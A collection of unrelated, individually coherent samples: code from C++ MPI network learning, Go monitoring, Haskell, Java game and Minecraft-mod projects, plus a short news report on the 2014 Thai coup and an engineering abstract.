else if ((s - 1) <= UintSet<uint8_t, std::integral_constant<int, (maxSize<uint8_t>() >> 1)>>::capacity()) {
RawData<DataType, uint8_t> data(reader->data(), reader->varNames(), static_cast<uint8_t>(n), static_cast<uint8_t>(m));
learnNetwork<uint8_t, std::integral_constant<int, (maxSize<uint8_t>() >> 1)>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint8_t>::capacity()) {
RawData<DataType, uint8_t> data(reader->data(), reader->varNames(), static_cast<uint8_t>(n), static_cast<uint8_t>(m));
learnNetwork<uint8_t, std::integral_constant<int, maxSize<uint8_t>()>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 7)>>::capacity()) {
RawData<DataType, uint16_t> data(reader->data(), reader->varNames(), static_cast<uint16_t>(n), static_cast<uint16_t>(m));
learnNetwork<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 7)>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 6)>>::capacity()) {
RawData<DataType, uint16_t> data(reader->data(), reader->varNames(), static_cast<uint16_t>(n), static_cast<uint16_t>(m));
learnNetwork<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 6)>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 5)>>::capacity()) {
RawData<DataType, uint16_t> data(reader->data(), reader->varNames(), static_cast<uint16_t>(n), static_cast<uint16_t>(m));
learnNetwork<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 5)>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 4)>>::capacity()) {
RawData<DataType, uint16_t> data(reader->data(), reader->varNames(), static_cast<uint16_t>(n), static_cast<uint16_t>(m));
learnNetwork<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 4)>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 3)>>::capacity()) {
RawData<DataType, uint16_t> data(reader->data(), reader->varNames(), static_cast<uint16_t>(n), static_cast<uint16_t>(m));
learnNetwork<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 3)>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 2)>>::capacity()) {
RawData<DataType, uint16_t> data(reader->data(), reader->varNames(), static_cast<uint16_t>(n), static_cast<uint16_t>(m));
learnNetwork<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 2)>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 1)>>::capacity()) {
RawData<DataType, uint16_t> data(reader->data(), reader->varNames(), static_cast<uint16_t>(n), static_cast<uint16_t>(m));
learnNetwork<uint16_t, std::integral_constant<int, (maxSize<uint16_t>() >> 1)>>(options, comm, data);
}
else if ((s - 1) <= UintSet<uint16_t, std::integral_constant<int, maxSize<uint16_t>()>>::capacity()) {
RawData<DataType, uint16_t> data(reader->data(), reader->varNames(), static_cast<uint16_t>(n), static_cast<uint16_t>(m));
learnNetwork<uint16_t, std::integral_constant<int, maxSize<uint16_t>()>>(options, comm, data);
}
else {
throw std::runtime_error("The given number of variables and observations is not supported.");
}
}
void
warmupMPI(
const mxx::comm& comm
)
{
std::vector<uint8_t> send(comm.size());
std::vector<uint8_t> recv(comm.size());
// First, warmup Alltoall of size 1
mxx::all2all(&send[0], 1, &recv[0], comm);
// Then, warmup Alltoallv of size 1
std::vector<size_t> sendSizes(comm.size(), 1);
std::vector<size_t> sendDispls(comm.size());
std::iota(sendDispls.begin(), sendDispls.end(), 0);
std::vector<size_t> recvSizes(comm.size(), 1);
std::vector<size_t> recvDispls(sendDispls);
mxx::all2allv(&send[0], sendSizes, sendDispls, &recv[0], recvSizes, recvDispls, comm);
}
int
main(
int argc,
char** argv
)
{
// Set up MPI
TIMER_DECLARE(tInit);
mxx::env e(argc, argv);
mxx::env::set_exception_on_error();
mxx::comm comm;
comm.barrier();
if (comm.is_first()) {
TIMER_ELAPSED("Time taken in initializing MPI: ", tInit);
}
ProgramOptions options;
try {
options.parse(argc, argv);
}
catch (const po::error& pe) {
if (comm.is_first()) {
std::cerr << pe.what() << std::endl;
}
return 1;
}
if (options.hostNames()) {
auto name = boost::asio::ip::host_name();
if (comm.is_first()) {
std::cout << std::endl << "*** Host names ***" << std::endl;
std::cout << comm.rank() << ": " << name << std::endl;
}
for (int i = 1; i < comm.size(); ++i) {
if (comm.rank() == i) {
comm.send(name, 0, i);
}
if (comm.is_first()) {
name = comm.recv<std::string>(i, i);
std::cout << i << ": " << name << std::endl;
}
}
if (comm.is_first()) {
std::cout << "******" << std::endl;
}
}
if ((comm.size() > 1) && options.warmupMPI()) {
comm.barrier();
TIMER_DECLARE(tWarmup);
warmupMPI(comm);
comm.barrier();
if (comm.is_first()) {
TIMER_ELAPSED("Time taken in warming up MPI: ", tWarmup);
}
}
try {
std::string logFile = options.logFile();
if (!logFile.empty() && (comm.size() > 1)) {
logFile += ".p" + std::to_string(comm.rank());
}
INIT_LOGGING(logFile, comm.rank(), options.logLevel());
uint32_t n = options.numVars();
uint32_t m = options.numObs();
if (static_cast<double>(m) >= std::sqrt(std::numeric_limits<uint32_t>::max())) {
// Warn the user if the number of observations is too big to be handled by uint32_t
// We use sqrt here because we never multiply more than two observation counts without handling the consequences
std::cerr << "WARNING: The given number of observations is possibly too big to be handled by 32-bit unsigned integer" << std::endl;
std::cerr << " This may result in silent errors because of overflow" << std::endl;
}
TIMER_DECLARE(tRead);
std::unique_ptr<DataReader<double>> reader;
constexpr auto varMajor = true;
if (options.colObs()) {
reader.reset(new ColumnObservationReader<double>(options.dataFile(), n, m, options.separator(),
options.varNames(), options.obsIndices(), varMajor, options.parallelRead()));
}
else {
reader.reset(new RowObservationReader<double>(options.dataFile(), n, m, options.separator(),
options.varNames(), options.obsIndices(), varMajor, options.parallelRead()));
}
comm.barrier();
if (comm.is_first()) {
TIMER_ELAPSED("Time taken in reading the file: ", tRead);
}
learnNetwork(options, comm, std::move(reader));
}
catch (const std::runtime_error& e) {
std::cerr << "Encountered runtime error during execution:" << std::endl;
std::cerr << e.what() << std::endl;
std::cerr << "Aborting." << std::endl;
return 1;
}
return 0;
}
|
/**
* Init a node representing a MPSCNNBinaryFullyConnected kernel
*
* @param sourceNode The MPSNNImageNode representing the source MPSImage for the filter
* @param weights A pointer to a valid object conforming to the MPSCNNConvolutionDataSource
* protocol. This object is provided by you to encapsulate storage for
* convolution weights and biases.
* @param scaleValue A floating point value used to scale the entire convolution.
* @param type What kind of binarization strategy is to be used.
* @param flags See documentation of MPSCNNBinaryConvolutionFlags.
* @return A new MPSNNFilter node for a MPSCNNBinaryFullyConnected kernel.
*/
@Generated
@Selector("initWithSource:weights:scaleValue:type:flags:")
public native MPSCNNBinaryFullyConnectedNode initWithSourceWeightsScaleValueTypeFlags(MPSNNImageNode sourceNode,
@Mapped(ObjCObjectMapper.class) MPSCNNConvolutionDataSource weights, float scaleValue, @NUInt long type,
@NUInt long flags); |
/**
* Reads one test file and stores it in Object.
* @param f
* @return
*/
public TestRecord readOneTestFile(File f) throws Exception {
TestRecord record = new TestRecord();
String currentLine;
ArrayList<String> words = new ArrayList<String>();
BufferedReader br = new BufferedReader(new FileReader(f));
while ((currentLine = br.readLine()) != null) {
currentLine = currentLine.toLowerCase();
currentLine = currentLine.replaceAll("\\P{L}", " ");
currentLine = currentLine.replaceAll("\n", " ");
currentLine = currentLine.replaceAll("\\s+", " ").trim();
currentLine = mAnalyzer.removeStopWords(currentLine);
String lineWords[] = currentLine.split("\\s+");
for (String eachWord : lineWords) {
String processedWord = mStemmer.stem(eachWord);
if (processedWord.length() > 1) {
words.add(processedWord);
}
}
}
record.setRecordId(Integer.parseInt(f.getName().replaceAll("\\D+", "")));
record.setWords(words);
br.close();
return record;
} |
package collector
import (
"bytes"
"encoding/json"
"fmt"
log "github.com/sirupsen/logrus"
"io/ioutil"
"net/http"
"time"
cmodel "github.com/open-falcon/common/model"
cutils "github.com/open-falcon/common/utils"
tsema "github.com/toolkits/concurrent/semaphore"
tcron "github.com/toolkits/cron"
thttpclient "github.com/toolkits/http/httpclient"
ttime "github.com/toolkits/time"
"github.com/Cepave/open-falcon-backend/modules/nodata/config"
"github.com/Cepave/open-falcon-backend/modules/nodata/g"
)
var (
collectorCron = tcron.New()
)
func StartCollectorCron() {
collectorCron.AddFuncCC("*/10 * * * * ?", func() {
start := time.Now().Unix()
cnt := collectDataOnce()
end := time.Now().Unix()
if g.Config().Debug {
log.Printf("collect cron, cnt %d, time %ds, start %s\n", cnt, end-start, ttime.FormatTs(start))
}
// statistics
g.CollectorCronCnt.Incr()
g.CollectorLastTs.SetCnt(end - start)
g.CollectorLastCnt.SetCnt(int64(cnt))
g.CollectorCnt.IncrBy(int64(cnt))
}, 1)
collectorCron.Start()
}
func CollectDataOnce() int {
return collectDataOnce()
}
func collectDataOnce() int {
keys := config.Keys()
keysLen := len(keys)
// 并发+同步控制
cfg := g.Config().Collector
concurrent := int(cfg.Concurrent)
if concurrent < 1 || concurrent > 50 {
concurrent = 10
}
sema := tsema.NewSemaphore(concurrent)
batch := int(cfg.Batch)
if batch < 100 || batch > 1000 {
batch = 200 //batch不能太小, 否则channel将会很大
}
batchCnt := (keysLen + batch - 1) / batch
rch := make(chan int, batchCnt+1)
i := 0
for i < keysLen {
leftLen := keysLen - i
fetchSize := batch // 每次处理batch个配置
if leftLen < fetchSize {
fetchSize = leftLen
}
fetchKeys := keys[i : i+fetchSize]
// 并发collect数据
sema.Acquire()
go func(keys []string, keySize int) {
defer sema.Release()
size, _ := fetchItemsAndStore(keys, keySize)
rch <- size
}(fetchKeys, fetchSize)
i += fetchSize
}
collectCnt := 0
for i := 0; i < batchCnt; i++ {
select {
case cnt := <-rch:
collectCnt += cnt
}
}
return collectCnt
}
func fetchItemsAndStore(fetchKeys []string, fetchSize int) (size int, errt error) {
if fetchSize < 1 {
return
}
cfg := g.Config()
queryUlr := fmt.Sprintf("http://%s/graph/last", cfg.Query.QueryAddr)
hcli := thttpclient.GetHttpClient("nodata.collector",
time.Millisecond*time.Duration(cfg.Query.ConnectTimeout),
time.Millisecond*time.Duration(cfg.Query.RequestTimeout))
// form request args
args := make([]*cmodel.GraphLastParam, 0)
for _, key := range fetchKeys {
ndcfg, found := config.GetNdConfig(key)
if !found {
continue
}
endpoint := ndcfg.Endpoint
counter := cutils.Counter(ndcfg.Metric, ndcfg.Tags)
arg := &cmodel.GraphLastParam{endpoint, counter}
args = append(args, arg)
}
if len(args) < 1 {
return
}
argsBody, err := json.Marshal(args)
if err != nil {
log.Println(queryUlr+", format body error,", err)
errt = err
return
}
// fetch items
req, err := http.NewRequest("POST", queryUlr, bytes.NewBuffer(argsBody))
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
req.Header.Set("Connection", "close")
postResp, err := hcli.Do(req)
if err != nil {
log.Println(queryUlr+", post to dest error,", err)
errt = err
return
}
defer postResp.Body.Close()
if postResp.StatusCode/100 != 2 {
log.Println(queryUlr+", post to dest, bad response,", postResp.Body)
errt = fmt.Errorf("request failed, %s", postResp.Body)
return
}
body, err := ioutil.ReadAll(postResp.Body)
if err != nil {
log.Println(queryUlr+", read response error,", err)
errt = err
return
}
resp := []*cmodel.GraphLastResp{}
err = json.Unmarshal(body, &resp)
if err != nil {
log.Println(queryUlr+", unmarshal error,", err)
errt = err
return
}
// store items
fts := time.Now().Unix()
for _, glr := range resp {
//log.Printf("collect:%v\n", glr)
if glr == nil || glr.Value == nil {
continue
}
AddItem(cutils.PK2(glr.Endpoint, glr.Counter), NewDataItem(glr.Value.Timestamp, float64(glr.Value.Value), "OK", fts))
}
return len(resp), nil
}
|
module Puzzles.Day7 ( part1, part2 ) where
import Data.Function
import Data.List ( nub )
import qualified Data.Map as M
import Data.Maybe
import qualified Data.Set as S
import Data.Text
import Puzzles.Input7
import Text.Parsec
testInput :: [String]
testInput =
[ "light red bags contain 1 bright white bag, 2 muted yellow bags."
, "dark orange bags contain 3 bright white bags, 4 muted yellow bags."
, "bright white bags contain 1 shiny gold bag."
, "muted yellow bags contain 2 shiny gold bags, 9 faded blue bags."
, "shiny gold bags contain 1 dark olive bag, 2 vibrant plum bags."
, "dark olive bags contain 3 faded blue bags, 4 dotted black bags."
, "vibrant plum bags contain 5 faded blue bags, 6 dotted black bags."
, "faded blue bags contain no other bags."
, "dotted black bags contain no other bags."
]
data BagRule = BagRule { color :: Text, contents :: [(Int, Text)] }
deriving ( Show )
instance Eq BagRule where
(==) = (==) `on` color
instance Ord BagRule where
(<=) = (<=) `on` color
singleBagRuleParser :: Parsec String () BagRule
singleBagRuleParser = do
color <- (letter <|> space) `manyTill` try (string " bags contain ")
cs <- try ([] <$ noBag) <|> try (contentParser `sepBy` string ", ")
char '.'
pure $ BagRule (packTrim color) cs
where
packTrim = dropAround (== ' ') . pack
noBag = string "no other bags"
contentParser = do a <- read @Int <$> many1 digit
color <- (letter <|> space)
`manyTill` try (string "bag" <* optional (char 's'))
pure (a, packTrim color)
findCanContain :: Text -> [BagRule] -> S.Set Text
findCanContain c rs = S.fromList (color <$> candidates)
<> mconcat ((\b -> findCanContain (color b) rs) <$> candidates)
where
candidates = Prelude.filter (Prelude.any ((== c) . snd) . contents) rs
part1 :: Int
part1 = S.size $ findCanContain "shiny gold" rules
where
Right rules = mapM (parse singleBagRuleParser "") input
part2 = go "shiny gold" - 1
where
Right rules = mapM (parse singleBagRuleParser "") input
rulesMap = M.fromList $ (\r -> (color r, r)) <$> rules
go c = let Just rc = M.lookup c rulesMap
in
1 + sum ((\(n, c') -> n * go c') <$> contents rc)
|
BANGKOK, May 30 (UPI) -- Following a military coup in Thailand on May 22, Gen. Prayuth Chan-ocha has set forth a time frame for national reconciliation, government reforms, and elections.
"Enough time has been wasted on conflict," the military coup leader said Friday during a televised address.
He outlined two phases to help the country move forward from political turmoil that has engulfed the country since anti-government protests began in November.
In the first phase, projected to take three months, the country will focus on reconciliation efforts, including replacing Cabinet ministers and implementing a new constitution.
The second phase, over a period of a year, will introduce reforms.
Elections could be held once these two phases are complete, he said.
"Give us time to solve the problems for you. Then the soldiers will step back to look at Thailand from afar," he promised.
The anti-government protests, led by the People's Democratic Reform Committee, began in November 2013. The protesters sought the removal of Prime Minister Yingluck Shinawatra, whom they accused of acting on behalf of her brother, ousted former Prime Minister Thaksin Shinawatra.
Following six months of protests, Yingluck was removed from her position as prime minister in early May by a Constitutional Court ruling that found her guilty of abuse of power.
The opposition Democrat Party then rallied for the removal of her caretaker government and called for an unelected interim government.
RELATED Thai army declares martial law
The military declared a coup on May 22 after warning that continued violent unrest would force the military to intervene.
At least 28 people died during the course of the protests. |
/**
* This class represents a hyphenated word.
*
* @author Carlos Villegas <[email protected]>
*/
public class Hyphenation {
private int[] hyphenPoints;
private String word;
/**
* number of hyphenation points in word
*/
private int len;
/**
* rawWord as made of alternating strings and {@link Hyphen Hyphen}
* instances
*/
Hyphenation(String word, int[] points) {
this.word = word;
hyphenPoints = points;
len = points.length;
}
/**
* @return the number of hyphenation points in the word
*/
public int length() {
return len;
}
/**
* @return the pre-break text, not including the hyphen character
*/
public String getPreHyphenText(int index) {
return word.substring(0, hyphenPoints[index]);
}
/**
* @return the post-break text
*/
public String getPostHyphenText(int index) {
return word.substring(hyphenPoints[index]);
}
/**
* @return the hyphenation points
*/
public int[] getHyphenationPoints() {
return hyphenPoints;
}
public String toString() {
StringBuffer str = new StringBuffer();
int start = 0;
for (int i = 0; i < len; i++) {
str.append(word.substring(start, hyphenPoints[i])).append('-');
start = hyphenPoints[i];
}
str.append(word.substring(start));
return str.toString();
}
} |
<filename>core/src/com/noahcharlton/stationalpha/worker/WorkerNeedsManager.java
package com.noahcharlton.stationalpha.worker;
import com.noahcharlton.stationalpha.gui.scenes.message.MessageQueue;
import com.noahcharlton.stationalpha.item.Item;
import com.noahcharlton.stationalpha.worker.job.Job;
import com.noahcharlton.stationalpha.world.Inventory;
import com.noahcharlton.stationalpha.world.Tile;
import java.util.Optional;
import java.util.Random;
public class WorkerNeedsManager {
private static final Random random = new Random();
public static final int FOOD_RESET = 1200;
public static final int SLEEP_RESET = 6000;
private final Worker worker;
private int foodTick;
private int sleepTick;
public WorkerNeedsManager(Worker worker) {
this.worker = worker;
resetEatTime();
resetSleepTime();
}
public void resetSleepTime(){
sleepTick = (int) (SLEEP_RESET * (random.nextFloat() + 1f));
}
public void resetEatTime(){
foodTick = (int) (FOOD_RESET * (random.nextFloat() + 1f));
}
public void update(){
updateSleep();
if(!isSleeping())
updateFood();
}
void updateSleep() {
if(isSleeping())
return;
sleepTick--;
if(sleepTick < 1) {
SleepJob job = createSleepJob();
worker.getAi().getJobManager().setCurrentJob(job);
}
}
SleepJob createSleepJob() {
if(!worker.getBedroom().isPresent()){
return new SleepJob(worker.getTileOn(), worker);
}
Optional<Tile> tileNextToBed = worker.getBedroom().get().getTile().getOpenAdjecent();
if(tileNextToBed.isPresent()){
return new SleepJob(tileNextToBed.get(), worker);
}else{
MessageQueue.getInstance().add("NO BED", worker.getName() + "'s bed is not accessible!");
return new SleepJob(worker.getTileOn(), worker);
}
}
public boolean isSleeping(){
Optional<Job> current = worker.getAi().getJobManager().getCurrentJob();
if(!current.isPresent())
return false;
if(current.get() instanceof SleepJob){
return current.get().getStage() != Job.JobStage.FINISHED;
}
return false;
}
private void updateFood() {
foodTick--;
if(foodTick < 0){
eat();
}
}
void eat() {
resetEatTime();
Inventory inventory = worker.getWorld().getInventory();
int potatoAmount = inventory.getAmountForItem(Item.POTATO);
int woodrootAmount = inventory.getAmountForItem(Item.WOODROOT);
if(potatoAmount + woodrootAmount < 10){
MessageQueue.getInstance().add("LOW FOOD!", "WARNING: YOU ARE LOW ON FOOD");
}
if(woodrootAmount > 0){
inventory.changeAmountForItem(Item.WOODROOT, -1);
}else if(potatoAmount > 0){
inventory.changeAmountForItem(Item.POTATO, -1);
}else{
worker.die("Lack of food!");
}
}
public void setSleepTick(int sleepTick) {
this.sleepTick = sleepTick;
}
public WorkerNeedsManager setFoodTick(int foodTick) {
this.foodTick = foodTick;
return this;
}
public int getFoodTick() {
return foodTick;
}
public int getSleepTick() {
return sleepTick;
}
}
|
/**
* Filters artifacts based on the type.
* @param artifacts the collection which stores artifacts.
* @param types the supported types.
* @return the list with artifacts whose types fit to the supported types.
* @since 1.4.0
*/
protected List<Artifact> filterArtifacts(final Collection<Artifact> artifacts, final Collection<String> types) {
final List<Artifact> filtered = new LinkedList<Artifact>();
for (final Artifact artifact : artifacts) {
if (types.contains(artifact.getType())) {
if (logger.isDebugEnabled()) {
logger.debug(String.format("Include %s", createDisplayText(artifact)));
}
filtered.add(artifact);
} else if (logger.isDebugEnabled()) {
logger.debug(String.format("Exclude %s", createDisplayText(artifact)));
}
}
return filtered;
} |
Distributed finite-time estimators of reference trajectory states for consensus tracking control of higher-order uncertain nonlinear systems
A class of distributed finite-time estimators of reference trajectory states is proposed for the sake of consensus tracking control systems design. In each agent of the network, a group of distributed and cascaded finite-time estimators is constructed. The estimators estimate the reference trajectory and its higher-order derivatives in a distributed manner by information exchange between the local neighbors on a communication graph containing a spanning tree with the leader node being the root. Only the highest-order derivative estimator is discontinuous, whereas the estimators of the other reference states are continuous. Convergence time of each estimator is analyzed. And simulation results are provided to show the efficacy of the proposed method. |
// TODO: redirect isChunkLoaded where needed
@ParametersAreNonnullByDefault
@MethodsReturnNonnullByDefault
@Mixin(Chunk.class)
public abstract class MixinChunk_Cubes implements IColumn {
@Shadow @Final private ExtendedBlockStorage[] storageArrays;
@Shadow @Final public static ExtendedBlockStorage NULL_BLOCK_STORAGE;
@Shadow private boolean hasEntities;
@Shadow @Final public int x;
@Shadow @Final public int z;
@Shadow @Final private ClassInheritanceMultiMap<Entity>[] entityLists;
@Shadow @Final @Mutable private Map<BlockPos, TileEntity> tileEntities;
@Shadow @Final private int[] heightMap;
@Shadow @Final private World world;
@Shadow private boolean loaded;
@Shadow private boolean ticked;
@Shadow private boolean isLightPopulated;
@Shadow private boolean dirty;
/*
* WARNING: WHEN YOU RENAME ANY OF THESE 3 FIELDS RENAME CORRESPONDING
* FIELDS IN "cubicchunks.asm.mixin.core.client.MixinChunk_Cubes" and
* "cubicchunks.asm.mixin.core.common.MixinChunk_Columns".
*/
private CubeMap cubeMap;
private IHeightMap opacityIndex;
private Cube cachedCube; // todo: make it always nonnull using BlankCube
private boolean isColumn = false;
// TODO: make it go through cube raw access methods
// TODO: make cube an interface, use the implementation only here
@Nullable
private ExtendedBlockStorage getEBS_CubicChunks(int index) {
if (!isColumn) {
return storageArrays[index];
}
if (cachedCube != null && cachedCube.getY() == index) {
return cachedCube.getStorage();
}
Cube cube = getCubicWorld().getCubeCache().getCube(getX(), index, getZ());
if (!(cube instanceof BlankCube)) {
cachedCube = cube;
}
return cube.getStorage();
}
@Nullable
private ExtendedBlockStorage getLoadedEBS_CubicChunks(int index) {
if (!isColumn) {
return storageArrays[index];
}
if (cachedCube != null && cachedCube.getY() == index) {
return cachedCube.getStorage();
}
Cube cube = getCubicWorld().getCubeCache().getLoadedCube(getX(), index, getZ());
if (cube != null && !(cube instanceof BlankCube)) {
cachedCube = cube;
}
return cube == null ? null : cube.getStorage();
}
// setEBS is unlikely to be used extremely frequently, no caching
private void setEBS_CubicChunks(int index, ExtendedBlockStorage ebs) {
if (!isColumn) {
storageArrays[index] = ebs;
return;
}
if (cachedCube != null && cachedCube.getY() == index) {
cachedCube.setStorage(ebs);
return;
}
Cube loaded = getCubicWorld().getCubeCache().getLoadedCube(getX(), index, getZ());
if (loaded.getStorage() == null) {
loaded.setStorage(ebs);
} else {
throw new IllegalStateException(String.format(
"Attempted to set a Cube ExtendedBlockStorage that already exists. "
+ "This is not supported. "
+ "CubePos(%d, %d, %d), loadedCube(%s), loadedCubeStorage(%s)",
getX(), index, getZ(),
loaded, loaded == null ? null : loaded.getStorage()));
}
}
// modify vanilla:
@Inject(method = CHUNK_CONSTRUCT_1, at = @At(value = "RETURN"))
private void cubicChunkColumn_construct(World worldIn, int x, int z, CallbackInfo cbi) {
ICubicWorld world = (ICubicWorld) worldIn;
if (!world.isCubicWorld()) {
return;
}
this.isColumn = true;
// this.lightManager = world.getLightingManager();
this.cubeMap = new CubeMap();
//clientside we don't really need that much data. we actually only need top and bottom block Y positions
if (world.isRemote()) {
this.opacityIndex = new ClientHeightMap(this, heightMap);
} else {
this.opacityIndex = new ServerHeightMap(heightMap);
}
// instead of redirecting access to this map, just make the map do the work
this.tileEntities = new ColumnTileEntityMap(this);
// this.chunkSections = null;
// this.skylightUpdateMap = null;
Arrays.fill(getBiomeArray(), (byte) -1);
}
// private ExtendedBlockStorage getLastExtendedBlockStorage() - shouldn't be used by anyone
// this method can't be saved by just redirecting EBS access
@Inject(method = "getTopFilledSegment", at = @At(value = "HEAD"), cancellable = true)
public void getTopFilledSegment_CubicChunks(CallbackInfoReturnable<Integer> cbi) {
if (!isColumn) {
return;
}
int blockY = Coords.NO_HEIGHT;
for (int localX = 0; localX < Cube.SIZE; localX++) {
for (int localZ = 0; localZ < Cube.SIZE; localZ++) {
int y = this.opacityIndex.getTopBlockY(localX, localZ);
if (y > blockY) {
blockY = y;
}
}
}
if (blockY < getCubicWorld().getMinHeight()) {
// PANIC!
// this column doesn't have any blocks in it that aren't air!
// but we can't return null here because vanilla code expects there to be a surface down there somewhere
// we don't actually know where the surface is yet, because maybe it hasn't been generated
// but we do know that the surface has to be at least at sea level,
// so let's go with that for now and hope for the best
int ret = Coords.cubeToMinBlock(Coords.blockToCube(this.getCubicWorld().getProvider().getAverageGroundLevel()));
cbi.setReturnValue(ret);
cbi.cancel();
return;
}
int ret = Coords.cubeToMinBlock(Coords.blockToCube(blockY)); // return the lowest block in the Cube (kinda weird I know)
cbi.setReturnValue(ret);
cbi.cancel();
}
/**
* @author Barteks2x
* @reason Original of that function return array of 16 objects
**/
@Overwrite
public ExtendedBlockStorage[] getBlockStorageArray() {
if (isColumn) {
// TODO: make the first 16 entries match vanilla
return cubeMap.getStoragesToTick();
}
return storageArrays;
}
/*
Light update code called from this:
if (addedNewCube) {
generateSkylightMap();
} else {
if (placingOpaque) {
if (placingNewTopBlock) {
relightBlock(x, y + 1, z);
} else if (removingTopBlock) {
relightBlock(x, y, z);
}
}
// equivalent to opacityDecreased || (opacityChanged && receivesLight)
// which means: propagateSkylight if it lets more light through, or (it receives any light and opacity changed)
if (opacityChanged && (opacityDecreased || blockReceivesLight)) {
propagateSkylightOcclusion(x, z);
}
}
*/
// ==============================================
// generateSkylightMap
// ==============================================
@Inject(method = "generateSkylightMap", at = @At(value = "HEAD"), cancellable = true)
public void generateSkylightMap_CubicChunks_Replace(CallbackInfo cbi) {
if (isColumn) {
// TODO: update skylight in cubes marked for update
cbi.cancel();
}
}
// ==============================================
// propagateSkylightOcclusion
// ==============================================
@Inject(method = "propagateSkylightOcclusion", at = @At(value = "HEAD"), cancellable = true)
private void propagateSkylightOcclusion_CubicChunks_Replace(int x, int z, CallbackInfo cbi) {
if (isColumn) {
cbi.cancel();
}
}
// ==============================================
// recheckGaps
// ==============================================
@Inject(method = "recheckGaps", at = @At(value = "HEAD"), cancellable = true)
private void recheckGaps_CubicChunks_Replace(boolean p_150803_1_, CallbackInfo cbi) {
if (isColumn) {
cbi.cancel();
}
}
// private void checkSkylightNeighborHeight(int x, int z, int maxValue) - shouldn't be used by anyone
// private void updateSkylightNeighborHeight(int x, int z, int startY, int endY) - shouldn't be used by anyone
// ==============================================
// relightBlock
// ==============================================
@Inject(method = "setBlockState", at = @At(value = "INVOKE", target = "Lnet/minecraft/world/chunk/Chunk;relightBlock(III)V"),
locals = LocalCapture.CAPTURE_FAILHARD)
private void setBlockState_CubicChunks_relightBlockReplace(BlockPos pos, IBlockState state, CallbackInfoReturnable<IBlockState> cir,
int localX, int y, int localZ, int packedXZ, int oldHeightValue, IBlockState oldState, Block newBlock, Block oldBlock,
int oldOpacity, ExtendedBlockStorage ebs, boolean createdNewEbsAboveTop, int newOpacity) {
if (isColumn) {
getCubicWorld().getLightingManager().doOnBlockSetLightUpdates(this, localX, oldHeightValue, y, localZ);
}
}
// make relightBlock no-op for cubic chunks, handles by injection above
@Inject(method = "relightBlock", at = @At(value = "HEAD"), cancellable = true)
private void relightBlock_CubicChunks_Replace(int x, int y, int z, CallbackInfo cbi) {
if (isColumn) {
cbi.cancel();
}
}
// ==============================================
// getBlockLightOpacity
// ==============================================
@Redirect(method = "getBlockLightOpacity(III)I", at = @At(value = "FIELD", target = "Lnet/minecraft/world/chunk/Chunk;loaded:Z"))
private boolean getBlockLightOpacity_isChunkLoadedCubeRedirect(Chunk chunk, int x, int y, int z) {
if (!isColumn) {
return loaded;
}
Cube cube = this.getLoadedCube(blockToCube(y));
return cube != null && cube.isCubeLoaded();
}
// ==============================================
// getBlockState
// ==============================================
// TODO: Use @ModifyConstant with expandConditions when it's implemented
@Overwrite
public IBlockState getBlockState(final int x, final int y, final int z) {
if (this.getCubicWorld().getWorldType() == WorldType.DEBUG_ALL_BLOCK_STATES) {
IBlockState iblockstate = null;
if (y == 60) {
iblockstate = Blocks.BARRIER.getDefaultState();
}
if (y == 70) {
iblockstate = ChunkGeneratorDebug.getBlockStateFor(x, z);
}
return iblockstate == null ? Blocks.AIR.getDefaultState() : iblockstate;
} else {
try {
if (isColumn || (y >= 0 && y >> 4 < this.storageArrays.length)) {
ExtendedBlockStorage extendedblockstorage = getEBS_CubicChunks(blockToCube(y));
if (extendedblockstorage != NULL_BLOCK_STORAGE) {
return extendedblockstorage.get(blockToLocal(x), blockToLocal(y), blockToLocal(z));
}
}
return Blocks.AIR.getDefaultState();
} catch (Throwable throwable) {
CrashReport crashreport = CrashReport.makeCrashReport(throwable, "Getting block state");
CrashReportCategory crashreportcategory = crashreport.makeCategory("Block being got");
crashreportcategory.addDetail("Location", () ->
CrashReportCategory.getCoordinateInfo(x, y, z)
);
throw new ReportedException(crashreport);
}
}
}
// ==============================================
// setBlockState
// ==============================================
@Inject(method = "setBlockState", at = @At(value = "INVOKE", target = "Lnet/minecraft/world/chunk/storage/ExtendedBlockStorage;set"
+ "(IIILnet/minecraft/block/state/IBlockState;)V", shift = At.Shift.AFTER))
private void onEBSSet_setBlockState_setOpacity(BlockPos pos, IBlockState state, CallbackInfoReturnable<IBlockState> cir) {
if (!isColumn) {
return;
}
opacityIndex.onOpacityChange(blockToLocal(pos.getX()), pos.getY(), blockToLocal(pos.getZ()), state.getLightOpacity(world, pos));
getCubicWorld().getLightingManager().sendHeightMapUpdate(pos);
}
@Redirect(method = "setBlockState", at = @At(
value = "FIELD",
target = CHUNK_STORAGE_ARRAYS,
args = "array=get"
))
private ExtendedBlockStorage setBlockState_CubicChunks_EBSGetRedirect(ExtendedBlockStorage[] array, int index) {
return getEBS_CubicChunks(index);
}
@Redirect(method = "setBlockState", at = @At(
value = "FIELD",
target = CHUNK_STORAGE_ARRAYS,
args = "array=set"
))
private void setBlockState_CubicChunks_EBSSetRedirect(ExtendedBlockStorage[] array, int index, ExtendedBlockStorage val) {
setEBS_CubicChunks(index, val);
}
@Redirect(method = "setBlockState", at = @At(value = "FIELD", target = "Lnet/minecraft/world/chunk/Chunk;dirty:Z"))
private void setIsModifiedFromSetBlockState_Field(Chunk chunk, boolean isModifiedIn, BlockPos pos, IBlockState state) {
if (isColumn) {
getCubicWorld().getCubeFromBlockCoords(pos).markDirty();
} else {
dirty = isModifiedIn;
}
}
// ==============================================
